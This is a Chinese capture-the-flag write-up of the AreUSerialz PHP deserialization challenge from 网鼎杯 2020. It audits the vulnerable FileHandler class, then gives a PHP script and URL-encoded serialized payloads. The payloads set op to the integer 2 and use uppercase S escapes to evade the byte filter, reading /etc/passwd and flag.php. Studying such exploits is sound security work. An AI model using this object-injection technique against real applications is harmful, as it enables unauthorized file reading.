[网鼎杯 2020 青龙组]AreUSerialz。
一、审计代码
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
1、搜索unserialize,找到输入点为GET请求提交的参数str,该参数会被反序列化。
2、搜索__destruct,找到析构函数,发现起调用了process函数,同时该函数会根据op变量值的不同,会相应调用读写函数。
3、所以,这里的思路就清楚了:
(一)将op设置为int型的2,绕过析构函数中的if判断,同时又可以调用到读文件的流程
(二)利用大写S采用的16进制,来绕过is_valid中对空字节的检查
二、构造poc
先尝试读取/etcc/passwd,验证脚本是否生效:
shellydeMacBook-Pro:~ shellyzhang$ cat 2.php <?php class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $this->op = 2; $this->filename = "/etc/passwd"; $this->content = ""; } } $a = new FileHandler(); $b = urlencode(serialize($a)); $b = str_replace("s", "S", $b); $b = str_replace("%00", "\00", $b); echo $b; shellydeMacBook-Pro:~ shellyzhang$ php 2.php O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%2200%2A 0op%22%3Bi%3A2%3BS%3A11%3A%2200%2A 0filename%22%3BS%3A11%3A%22%2Fetc%2FpaSSwd%22%3BS%3A10%3A%2200%2A 0content%22%3BS%3A0%3A%22%22%3B%7D
成功读取文件,注意这里需要把paSSwd改回passwd:
尝试可知,直接相对路径,即可读出flag,采用poc
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%2200%2A 0op%22%3Bi%3A2%3BS%3A11%3A%2200%2A 0filename%22%3BS%3A8%3A%22flag.php%22%3BS%3A10%3A%2200%2A 0content%22%3BS%3A0%3A%22%22%3B%7D